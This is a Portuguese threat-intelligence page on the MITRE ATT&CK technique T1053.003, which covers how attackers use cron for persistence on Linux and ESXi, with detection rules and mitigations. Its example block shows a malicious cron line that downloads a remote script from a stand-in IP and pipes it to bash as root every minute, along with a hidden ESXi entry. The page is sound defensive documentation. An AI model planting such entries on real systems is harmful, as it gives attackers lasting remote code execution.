# T1053.003 - Cron ## Técnica Pai Esta é uma sub-técnica de [[Job]]. ## Descrição O `cron` é o agendador de tarefas padrão em sistemas Unix-like, presente em práticamente todas as distribuições Linux, macOS e em ambientes ESXi. Ele permite que usuários e o próprio sistema operacional executem comandos ou scripts em horários específicos - diariamente, semanalmente ou em intervalos arbitrários definidos por uma sintaxe de cinco campos. As entradas de agendamento ficam registradas em arquivos `crontab`, cujos caminhos variam conforme o sistema: `/etc/cron.d/`, `/var/spool/cron/crontabs/`, `/etc/cron.daily/`, entre outros. Adversários abusam do `cron` para garantir [[ta0003-persistence|persistência]] em sistemas comprometidos: ao inserir uma entrada maliciosa no crontab, o código do atacante é reexecutado automaticamente em intervalos regulares, sem depender de interação do usuário ou de processos persistentes que possam ser facilmente detectados. A técnica é especialmente eficaz porque o daemon `crond` é um processo de sistema de alta confiança, raramente bloqueado por soluções de segurança baseadas em allowlisting. Variações comuns incluem a criação de entradas no crontab do root via `/etc/cron.d/` (que persiste mesmo após rotação de chaves SSH), o uso de scripts em `/etc/cron.daily/` ou `/etc/cron.hourly/` para misturar código malicioso com tarefas de manutenção legítimas, e - em ambientes ESXi - a edição direta do arquivo `/var/spool/cron/crontabs/root` para sobreviver a reinicializações do hipervisor. Malwares como [[s0374-speakup|SpeakUp]], [[s0599-kinsing|Kinsing]], [[s0468-skidmap|Skidmap]] e [[s0341-xbash|Xbash]] utilizam extensivamente o cron para manter mineradores de criptomoeda rodando continuamente. **Contexto Brasil/LATAM:** O abuso de cron é uma das técnicas de persistência mais observadas em incidentes de cryptomining e intrusões a servidores Linux no Brasil. Servidores web expostos, instâncias de nuvem mal configuradas e sistemas legados sem atualização regular são os vetores de entrada mais comuns. O grupo [[g0106-rocke|Rocke]], com histórico de ataques a ambientes cloud na região, utiliza entradas de cron para reiniciar mineradores removidos por administradores, tornando a erradicação muito mais trabalhosa sem uma resposta a incidentes estruturada. ## Attack Flow ```mermaid graph TB A[Acesso Inicial / RCE] --> B[T1053.003 - Cron Malicioso] B --> C[Persistência Garantida] C --> DReconhecimento Interno] D --> E[Cryptomining ou Backdoor] ``` ## Como Funciona **1. Preparação** O adversário obtém execução de código no sistema-alvo - via exploração de aplicação web, credenciais SSH comprometidas ou movimento lateral. Com acesso de escrita ao crontab do usuário corrente (ou root), é possível inserir uma nova entrada de agendamento. **2. Execução** O atacante edita o crontab diretamente (`crontab -e` ou escrita direta no arquivo) ou deposita um script em um dos diretórios periódicos do cron (`/etc/cron.d/`, `/etc/cron.hourly/`). A entrada define o intervalo de execução e o comando a rodar - geralmente um download de payload remoto, execução de minerador ou manutenção de backdoor reverso. Em ambientes ESXi, onde não há editor interativo disponível na mesma forma, o arquivo `/var/spool/cron/crontabs/root` é editado diretamente. Como o ESXi tem sistema de arquivos volátil, é comum que o atacante combine a entrada de cron com um script de inicialização (`/etc/rc.local.d/local.sh`) para garantir que a entrada sejá recriada após reinicializações. **3. Pós-execução** Com o cron ativo, o payload é reexecutado periodicamente. Mesmo que o processo malicioso sejá encerrado manualmente ou o arquivo de payload removido, o cron tenta rebaixá-lo no próximo ciclo. Grupos como [[g0082-apt38|APT38]] e [[g1023-apt5|APT5]] usam essa técnica em conjunto com [[t1070-indicator-removal|remoção de indicadores]] para dificultar análise forense. **Exemplo - artefato de detecção:** ```bash # Entrada maliciosa típica em /etc/cron.d/sysupdaté # Executa a cada minuto, baixa e executa payload remoto * * * * * root curl -fsSL http://203.0.113.10/updaté.sh | bash # Em ESXi - /var/spool/cron/crontabs/root */5 * * * * /tmp/.vmtools 2>/dev/null # Artefato no syslog após execução pelo crond: # CROND[1234]: (root) CMD (curl -fsSL http://203.0.113.10/updaté.sh | bash) ``` ## Detecção **Fontes de dados:** `/var/log/syslog`, `/var/log/cron`, `/var/log/messages` (entradas `CROND`), auditoria de modificações em arquivos crontab via `auditd` (syscall `inotify`/`openat`), logs de processo via EDR (parent process `crond` com filho suspeito). ```yaml title: Modificação de Arquivo Crontab do Sistema id: a9c3e751-2f6b-4d08-b134-7e8f0c9d4512 status: experimental description: Detecta escrita direta em arquivos crontab do sistema ou em diretórios de tarefas periódicas, indicando possível inserção de persistência via cron logsource: category: file_event product: linux detection: selection_crontab_files: TargetFilename|startswith: - "/etc/cron.d/" - "/etc/cron.daily/" - "/etc/cron.hourly/" - "/etc/cron.weekly/" - "/etc/crontab" - "/var/spool/cron/crontabs/" filter_package_managers: Image|endswith: - "/dpkg" - "/rpm" - "/yum" - "/apt" condition: selection_crontab_files and not filter_package_managers falsepositives: - Instalação legítima de pacotes via gerenciador de pacotes - Scripts de configuração de infraestrutura (Ansible, Chef, Puppet) - Ferramentas de monitoramento que criam entradas de cron próprias level: medium tags: - attack.execution - attack.persistence - attack.t1053.003 ``` ## Mitigação | Mitigação | Recomendação Prática | |-----------|---------------------| | [[m1047-audit\|M1047 - Audit]] | Monitorar continuamente modificações em arquivos crontab com `auditd`; configurar regras de watch em `/etc/cron.d/`, `/etc/crontab` e `/var/spool/cron/crontabs/`; revisar periodicamente as entradas de cron de todos os usuários privilegiados com `crontab -l -u <usuario>` | | [[m1018-user-account-management\|M1018 - User Account Management]] | Restringir a criação de entradas de cron a usuários específicos via `/etc/cron.allow` e `/etc/cron.deny`; garantir que contas de serviço e aplicações não tenham permissão para editar crontabs de sistema; em ESXi, proteger `/var/spool/cron/crontabs/root` com monitoramento de integridade de arquivos | | [[m1022-restrict-file-and-directory-permissions\|M1022 - Restrict File and Directory Permissions]] | Aplicar permissões restritivas nos diretórios de cron do sistema (`chmod 700` em `/etc/cron.d/`); verificar que apenas root pode escrever nos diretórios de tarefas periódicas; auditar ownership de scripts em `/etc/cron.daily/` e similares | ## Referências *Fonte: [MITRE ATT&CK - T1053.003](https://attack.mitre.org/techniques/T1053/003)*